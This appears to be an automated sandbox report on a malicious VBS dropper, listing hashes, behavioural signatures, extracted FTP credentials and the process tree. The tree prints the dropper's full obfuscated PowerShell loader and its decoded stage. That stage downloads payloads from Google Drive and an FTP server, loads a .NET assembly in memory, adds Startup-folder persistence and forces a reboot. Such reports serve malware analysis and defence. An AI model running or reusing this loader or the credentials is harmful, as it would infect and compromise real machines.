Overview

overview

10

Static

static

1

8a45f8d43e...f9.vbs

windows7-x64

10

8a45f8d43e...f9.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    94s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-09-2024 18:06

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General

  • Target

    8a45f8d43edd1bc230b016283817a9e9d3ce79a6d03d070d3d11680b301922f9.vbs

  • Size

    561KB

  • MD5

    e4aec52d2cb3ee69feadc9eb2961c9b7

  • SHA1

    5e1c99f1bd14a14d5fd9031619187a2a616b3a4b

  • SHA256

    8a45f8d43edd1bc230b016283817a9e9d3ce79a6d03d070d3d11680b301922f9

  • SHA512

    d7b026b1ddccd46728095cf7eb44e6476058b70294e3abd868314f494df36db64f9e86cf6e252b70fdfed27b5f0e2e3b2b224c9a4e4406aa952d0c291437e9d4

  • SSDEEP

    1536:kmmmmmmmmmmmmmmmmmmyFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFT:k5oGc

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

  • Protocol:     ftp
  • Host:
    ftp.desckvbrat.com.br
  • Port:
    21
  • Username:
    desckvbrat1
  • Password:
    developerpro21578Jp@@

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8a45f8d43edd1bc230b016283817a9e9d3ce79a6d03d070d3d11680b301922f9.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3428
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9ҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦGUҼмẦdQByҼмẦHQҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦGgҼмẦdҼмẦB0ҼмẦHҼмẦҼмẦcwҼмẦ6ҼмẦC8ҼмẦLwBlҼмẦHYҼмẦaQByҼмẦHQҼмẦdQBhҼмẦGwҼмẦcwBlҼмẦHIҼмẦdgBpҼмẦGMҼмẦZQBzҼмẦHIҼмẦZQB2ҼмẦGkҼмẦZQB3ҼмẦHMҼмẦLgBjҼмẦG8ҼмẦbQҼмẦvҼмẦGIҼмẦbҼмẦB1ҼмẦC4ҼмẦdҼмẦB4ҼмẦHQҼмẦJwҼмẦgҼмẦCgҼмẦIҼмẦBdҼмẦF0ҼмẦWwB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦbwBbҼмẦCҼмẦҼмẦLҼмẦҼмẦgҼмẦGwҼмẦbҼмẦB1ҼмẦG4ҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZQBrҼмẦG8ҼмẦdgBuҼмẦEkҼмẦLgҼмẦpҼмẦCҼмẦҼмẦJwBJҼмẦFYҼмẦRgByҼмẦHҼмẦҼмẦJwҼмẦgҼмẦCgҼмẦZҼмẦBvҼмẦGgҼмẦdҼмẦBlҼмẦE0ҼмẦdҼмẦBlҼмẦEcҼмẦLgҼмẦpҼмẦCcҼмẦMQBzҼмẦHMҼмẦYQBsҼмẦEMҼмẦLgҼмẦzҼмẦHkҼмẦcgBhҼмẦHIҼмẦYgBpҼмẦEwҼмẦcwBzҼмẦGEҼмẦbҼмẦBDҼмẦCcҼмẦKҼмẦBlҼмẦHҼмẦҼмẦeQBUҼмẦHQҼмẦZQBHҼмẦC4ҼмẦKQҼмẦgҼмẦFoҼмẦYwBCҼмẦGMҼмẦYQҼмẦkҼмẦCҼмẦҼмẦKҼмẦBkҼмẦGEҼмẦbwBMҼмẦC4ҼмẦbgBpҼмẦGEҼмẦbQBvҼмẦEQҼмẦdҼмẦBuҼмẦGUҼмẦcgByҼмẦHUҼмẦQwҼмẦ6ҼмẦDoҼмẦXQBuҼмẦGkҼмẦYQBtҼмẦG8ҼмẦRҼмẦBwҼмẦHҼмẦҼмẦQQҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦOwҼмẦpҼмẦCҼмẦҼмẦKQҼмẦgҼмẦCcҼмẦQQҼмẦnҼмẦCҼмẦҼмẦLҼмẦҼмẦgҼмẦCcҼмẦkyE6ҼмẦJMhJwҼмẦgҼмẦCgҼмẦZQBjҼмẦGEҼмẦbҼмẦBwҼмẦGUҼмẦUgҼмẦuҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦIҼмẦҼмẦoҼмẦGcҼмẦbgBpҼмẦHIҼмẦdҼмẦBTҼмẦDQҼмẦNgBlҼмẦHMҼмẦYQBCҼмẦG0ҼмẦbwByҼмẦEYҼмẦOgҼмẦ6ҼмẦF0ҼмẦdҼмẦByҼмẦGUҼмẦdgBuҼмẦG8ҼмẦQwҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦWgBjҼмẦEIҼмẦYwBhҼмẦCQҼмẦIҼмẦBdҼмẦF0ҼмẦWwBlҼмẦHQҼмẦeQBCҼмẦFsҼмẦOwҼмẦnҼмẦCUҼмẦSQBoҼмẦHEҼмẦUgBYҼмẦCUҼмẦJwҼмẦgҼмẦD0ҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦIҼмẦBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgBnҼмẦGwҼмẦbwBtҼмẦCQҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦZwBsҼмẦG8ҼмẦbQҼмẦkҼмẦDsҼмẦKQB0ҼмẦG4ҼмẦZQBpҼмẦGwҼмẦQwBiҼмẦGUҼмẦVwҼмẦuҼмẦHQҼмẦZQBOҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦE8ҼмẦLQB3ҼмẦGUҼмẦTgҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦbҼмẦBvҼмẦG0ҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦKҼмẦBlҼмẦHMҼмẦbwBwҼмẦHMҼмẦaQBkҼмẦC4ҼмẦZwBsҼмẦG8ҼмẦbQҼмẦkҼмẦDsҼмẦKQҼмẦgҼмẦCcҼмẦdҼмẦB4ҼмẦHQҼмẦLgҼмẦxҼмẦDҼмẦҼмẦTҼмẦBMҼмẦEQҼмẦLwҼмẦxҼмẦDҼмẦҼмẦLwByҼмẦGUҼмẦdҼмẦBwҼмẦHkҼмẦcgBjҼмẦHҼмẦҼмẦVQҼмẦvҼмẦHIҼмẦYgҼмẦuҼмẦG0ҼмẦbwBjҼмẦC4ҼмẦdҼмẦBhҼмẦHIҼмẦYgB2ҼмẦGsҼмẦYwBzҼмẦGUҼмẦZҼмẦҼмẦuҼмẦHҼмẦҼмẦdҼмẦBmҼмẦEҼмẦҼмẦMQB0ҼмẦGEҼмẦcgBiҼмẦHYҼмẦawBjҼмẦHMҼмẦZQBkҼмẦC8ҼмẦLwҼмẦ6ҼмẦHҼмẦҼмẦdҼмẦBmҼмẦCcҼмẦIҼмẦҼмẦoҼмẦGcҼмẦbgBpҼмẦHIҼмẦdҼмẦBTҼмẦGQҼмẦYQBvҼмẦGwҼмẦbgB3ҼмẦG8ҼмẦRҼмẦҼмẦuҼмẦGcҼмẦbҼмẦBvҼмẦG0ҼмẦJҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦDsҼмẦKQҼмẦnҼмẦEҼмẦҼмẦQҼмẦBwҼмẦEoҼмẦOҼмẦҼмẦ3ҼмẦDUҼмẦMQҼмẦyҼмẦG8ҼмẦcgBwҼмẦHIҼмẦZQBwҼмẦG8ҼмẦbҼмẦBlҼмẦHYҼмẦZQBkҼмẦCcҼмẦLҼмẦҼмẦpҼмẦCkҼмẦOQҼмẦ0ҼмẦCwҼмẦNgҼмẦxҼмẦDEҼмẦLҼмẦҼмẦ3ҼмẦDkҼмẦLҼмẦҼмẦ0ҼмẦDEҼмẦMQҼмẦsҼмẦDgҼмẦOQҼмẦsҼмẦDgҼмẦMQҼмẦxҼмẦCwҼмẦNwҼмẦwҼмẦDEҼмẦLҼмẦҼмẦ5ҼмẦDkҼмẦLҼмẦҼмẦ1ҼмẦDEҼмẦMQҼмẦsҼмẦDEҼмẦMҼмẦҼмẦxҼмẦCwҼмẦMҼмẦҼмẦwҼмẦDEҼмẦKҼмẦBdҼмẦF0ҼмẦWwByҼмẦGEҼмẦaҼмẦBjҼмẦFsҼмẦIҼмẦBuҼмẦGkҼмẦbwBqҼмẦC0ҼмẦKҼмẦҼмẦoҼмẦGwҼмẦYQBpҼмẦHQҼмẦbgBlҼмẦGQҼмẦZQByҼмẦEMҼмẦawByҼмẦG8ҼмẦdwB0ҼмẦGUҼмẦTgҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦIҼмẦB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦbwҼмẦtҼмẦHcҼмẦZQBuҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHMҼмẦbҼмẦBhҼмẦGkҼмẦdҼмẦBuҼмẦGUҼмẦZҼмẦBlҼмẦHIҼмẦQwҼмẦuҼмẦGcҼмẦbҼмẦBvҼмẦG0ҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦZwBsҼмẦG8ҼмẦbQҼмẦkҼмẦDsҼмẦKQB0ҼмẦG4ҼмẦZQBpҼмẦGwҼмẦQwBiҼмẦGUҼмẦVwҼмẦuҼмẦHQҼмẦZQBOҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦE8ҼмẦLQB3ҼмẦGUҼмẦTgҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦbҼмẦBvҼмẦG0ҼмẦJҼмẦҼмẦ7ҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦOwҼмẦyҼмẦDEҼмẦcwBsҼмẦFQҼмẦOgҼмẦ6ҼмẦF0ҼмẦZQBwҼмẦHkҼмẦVҼмẦBsҼмẦG8ҼмẦYwBvҼмẦHQҼмẦbwByҼмẦFҼмẦҼмẦeQB0ҼмẦGkҼмẦcgB1ҼмẦGMҼмẦZQBTҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGwҼмẦbwBjҼмẦG8ҼмẦdҼмẦBvҼмẦHIҼмẦUҼмẦB5ҼмẦHQҼмẦaQByҼмẦHUҼмẦYwBlҼмẦFMҼмẦOgҼмẦ6ҼмẦF0ҼмẦcgBlҼмẦGcҼмẦYQBuҼмẦGEҼмẦTQB0ҼмẦG4ҼмẦaQBvҼмẦFҼмẦҼмẦZQBjҼмẦGkҼмẦdgByҼмẦGUҼмẦUwҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦ7ҼмẦH0ҼмẦZQB1ҼмẦHIҼмẦdҼмẦҼмẦkҼмẦHsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦawBjҼмẦGEҼмẦYgBsҼмẦGwҼмẦYQBDҼмẦG4ҼмẦbwBpҼмẦHQҼмẦYQBkҼмẦGkҼмẦbҼмẦBhҼмẦFYҼмẦZQB0ҼмẦGEҼмẦYwBpҼмẦGYҼмẦaQB0ҼмẦHIҼмẦZQBDҼмẦHIҼмẦZQB2ҼмẦHIҼмẦZQBTҼмẦDoҼмẦOgBdҼмẦHIҼмẦZQBnҼмẦGEҼмẦbgBhҼмẦE0ҼмẦdҼмẦBuҼмẦGkҼмẦbwBQҼмẦGUҼмẦYwBpҼмẦHYҼмẦcgBlҼмẦFMҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦewҼмẦgҼмẦGUҼмẦcwBsҼмẦGUҼмẦfQҼмẦgҼмẦGYҼмẦLwҼмẦgҼмẦDҼмẦҼмẦIҼмẦB0ҼмẦC8ҼмẦIҼмẦByҼмẦC8ҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦG4ҼмẦdwBvҼмẦGQҼмẦdҼмẦB1ҼмẦGgҼмẦcwҼмẦgҼмẦDsҼмẦJwҼмẦwҼмẦDgҼмẦMQҼмẦgҼмẦHҼмẦҼмẦZQBlҼмẦGwҼмẦcwҼмẦnҼмẦCҼмẦҼмẦZҼмẦBuҼмẦGEҼмẦbQBtҼмẦG8ҼмẦYwҼмẦtҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBsҼмẦGwҼмẦZQBoҼмẦHMҼмẦcgBlҼмẦHcҼмẦbwBwҼмẦDsҼмẦIҼмẦBlҼмẦGMҼмẦcgBvҼмẦGYҼмẦLQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦHҼмẦҼмẦdQB0ҼмẦHIҼмẦYQB0ҼмẦFMҼмẦXҼмẦBzҼмẦG0ҼмẦYQByҼмẦGcҼмẦbwByҼмẦFҼмẦҼмẦXҼмẦB1ҼмẦG4ҼмẦZQBNҼмẦCҼмẦҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBTҼмẦFwҼмẦcwB3ҼмẦG8ҼмẦZҼмẦBuҼмẦGkҼмẦVwBcҼмẦHQҼмẦZgBvҼмẦHMҼмẦbwByҼмẦGMҼмẦaQBNҼмẦFwҼмẦZwBuҼмẦGkҼмẦbQBhҼмẦG8ҼмẦUgBcҼмẦGEҼмẦdҼмẦBhҼмẦEQҼмẦcҼмẦBwҼмẦEEҼмẦXҼмẦҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦFoҼмẦSwBuҼмẦFkҼмẦTQҼмẦkҼмẦCҼмẦҼмẦKҼмẦҼмẦgҼмẦG4ҼмẦbwBpҼмẦHQҼмẦYQBuҼмẦGkҼмẦdҼмẦBzҼмẦGUҼмẦRҼмẦҼмẦtҼмẦCҼмẦҼмẦJwҼмẦlҼмẦEkҼмẦaҼмẦBxҼмẦFIҼмẦWҼмẦҼмẦlҼмẦCcҼмẦIҼмẦBtҼмẦGUҼмẦdҼмẦBJҼмẦC0ҼмẦeQBwҼмẦG8ҼмẦQwҼмẦgҼмẦDsҼмẦIҼмẦB0ҼмẦHIҼмẦYQB0ҼмẦHMҼмẦZQByҼмẦG8ҼмẦbgҼмẦvҼмẦCҼмẦҼмẦdҼмẦBlҼмẦGkҼмẦdQBxҼмẦC8ҼмẦIҼмẦBHҼмẦGMҼмẦVwBpҼмẦFIҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦGEҼмẦcwB1ҼмẦHcҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦGwҼмẦbҼмẦBlҼмẦGgҼмẦcwByҼмẦGUҼмẦdwBvҼмẦHҼмẦҼмẦIҼмẦҼмẦ7ҼмẦCkҼмẦJwB1ҼмẦHMҼмẦbQҼмẦuҼмẦG4ҼмẦaQB3ҼмẦHҼмẦҼмẦVQBcҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦTgBKҼмẦFQҼмẦeҼмẦBEҼмẦCQҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBHҼмẦGMҼмẦVwBpҼмẦFIҼмẦOwҼмẦpҼмẦCҼмẦҼмẦZQBtҼмẦGEҼмẦTgByҼмẦGUҼмẦcwBVҼмẦDoҼмẦOgBdҼмẦHQҼмẦbgBlҼмẦG0ҼмẦbgBvҼмẦHIҼмẦaQB2ҼмẦG4ҼмẦRQBbҼмẦCҼмẦҼмẦKwҼмẦgҼмẦCcҼмẦXҼмẦBzҼмẦHIҼмẦZQBzҼмẦFUҼмẦXҼмẦҼмẦ6ҼмẦEMҼмẦJwҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦFoҼмẦSwBuҼмẦFkҼмẦTQҼмẦkҼмẦDsҼмẦKQҼмẦnҼмẦHUҼмẦcwBtҼмẦC4ҼмẦbgBpҼмẦHcҼмẦcҼмẦBVҼмẦFwҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBOҼмẦEoҼмẦVҼмẦB4ҼмẦEQҼмẦJҼмẦҼмẦgҼмẦCwҼмẦQgBLҼмẦEwҼмẦUgBVҼмẦCQҼмẦKҼмẦBlҼмẦGwҼмẦaQBGҼмẦGQҼмẦYQBvҼмẦGwҼмẦbgB3ҼмẦG8ҼмẦRҼмẦҼмẦuҼмẦHMҼмẦdҼмẦBtҼмẦG8ҼмẦbwҼмẦkҼмẦDsҼмẦOҼмẦBGҼмẦFQҼмẦVQҼмẦ6ҼмẦDoҼмẦXQBnҼмẦG4ҼмẦaQBkҼмẦG8ҼмẦYwBuҼмẦEUҼмẦLgB0ҼмẦHgҼмẦZQBUҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦgҼмẦD0ҼмẦIҼмẦBnҼмẦG4ҼмẦaQBkҼмẦG8ҼмẦYwBuҼмẦEUҼмẦLgBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦH0ҼмẦOwҼмẦgҼмẦCkҼмẦJwB0ҼмẦE8ҼмẦTҼмẦBjҼмẦF8ҼмẦSwBhҼмẦDMҼмẦWgBmҼмẦG8ҼмẦWҼмẦҼмẦyҼмẦEoҼмẦSgByҼмẦFYҼмẦaҼмẦBtҼмẦFYҼмẦOQBjҼмẦG0ҼмẦOQBYҼмẦHMҼмẦdQBYҼмẦG0ҼмẦagҼмẦxҼмẦGcҼмẦMQҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦbwB4ҼмẦEsҼмẦVQBnҼмẦCQҼмẦewҼмẦgҼмẦGUҼмẦcwBsҼмẦGUҼмẦfQҼмẦ7ҼмẦCҼмẦҼмẦKQҼмẦnҼмẦDIҼмẦNҼмẦB1ҼмẦFgҼмẦSgBUҼмẦHEҼмẦYQBtҼмẦGcҼмẦeQBNҼмẦHQҼмẦRgB6ҼмẦGEҼмẦawBQҼмẦFIҼмẦMQBxҼмẦF8ҼмẦSQB2ҼмẦEcҼмẦaQBYҼмẦE4ҼмẦZҼмẦBxҼмẦGEҼмẦTgҼмẦxҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦbwB4ҼмẦEsҼмẦVQBnҼмẦCQҼмẦKҼмẦҼмẦgҼмẦD0AIABvAHgASwBVAGcAJAB7ACAAKQAgAHUATgBDAFYAcQAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcwBuAGkAYQB0AG4AbwBDAC4ARQBSAFUAVABDAEUAVABJAEgAQwBSAEEAXwBSAE8AUwBTAEUAQwBPAFIAUAA6AHYAbgBlACQAIAA9ACAAdQBOAEMAVgBxACQAOwAnAD0AZABpACYAZABhAG8AbABuAHcAbwBkAD0AdAByAG8AcAB4AGUAPwBjAHUALwBtAG8AYwAuAGUAbABnAG8AbwBnAC4AZQB2AGkAcgBkAC8ALwA6AHMAcAB0AHQAaAAnACAAPQAgAG8AeABLAFUAZwAkADsAKQAgACcAdQBzAG0ALgBuAGkAdwBwAFUAXAAnACAAKwAgAE4ASgBUAHgARAAkACAAKAAgAGwAZQBkADsAKQAoAGgAdABhAFAAcABtAGUAVAB0AGUARwA6ADoAXQBoAHQAYQBQAC4ATwBJAC4AbQBlAHQAcwB5AFMAWwAgAD0AIABOAEoAVAB4AEQAJAB7ACAAKQAgAGQAdgBvAGYAWAAkACAAKAAgAGYAaQA7ACAAKQAyACgAcwBsAGEAdQBxAEUALgByAG8AagBhAE0ALgBuAG8AaQBzAHIAZQBWAC4AdABzAG8AaAAkACAAPQAgAGQAdgBvAGYAWAAkACAAOwA=';$kahlN = $qKKzc.replace('ҼмẦ' , 'A') ;$DLOWx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $DLOWx = $DLOWx[-1..-$DLOWx.Length] -join '';$DLOWx = $DLOWx.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\8a45f8d43edd1bc230b016283817a9e9d3ce79a6d03d070d3d11680b301922f9.vbs');powershell $DLOWx
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2132
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $Xfovd = $host.Version.Major.Equals(2) ;if ( $Xfovd ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$oomts = (New-Object Net.WebClient);$oomts.Encoding = [System.Text.Encoding]::UTF8;$oomts.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\8a45f8d43edd1bc230b016283817a9e9d3ce79a6d03d070d3d11680b301922f9.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$molg = (New-Object Net.WebClient);$molg.Encoding = [System.Text.Encoding]::UTF8;$molg.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $molg.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$molg.dispose();$molg = (New-Object Net.WebClient);$molg.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $molg.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\8a45f8d43edd1bc230b016283817a9e9d3ce79a6d03d070d3d11680b301922f9.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.ulb/moc.sweiversecivreslautrive//:sptth' , $huUPX , 'true' ) );};"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2748

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

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  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    948B

    MD5

    721991167161c45d61b03e4dbad4984b

    SHA1

    fd3fa85d142b5e8d4906d3e5bfe10c5347958457

    SHA256

    0a7be18529bdbed6fc9f36118a6147920d31099ee0fb5a2a8b6b934d1b9bcefb

    SHA512

    f1aa4f8e48eeb5b5279530d8557cb292a08b25ad46af0dd072130c395127f6c064c88b04910c626c13f22462104ac3d36fa0d4064fff0ec7528922df54ecdcf0

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  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4nacnnvv.yn5.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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  • memory/2132-0-0x00007FFE85063000-0x00007FFE85065000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2132-1-0x000002B2D2780000-0x000002B2D27A2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2132-11-0x00007FFE85060000-0x00007FFE85B21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2132-12-0x00007FFE85060000-0x00007FFE85B21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2132-27-0x00007FFE85060000-0x00007FFE85B21000-memory.dmp

    Filesize

    10.8MB

    Download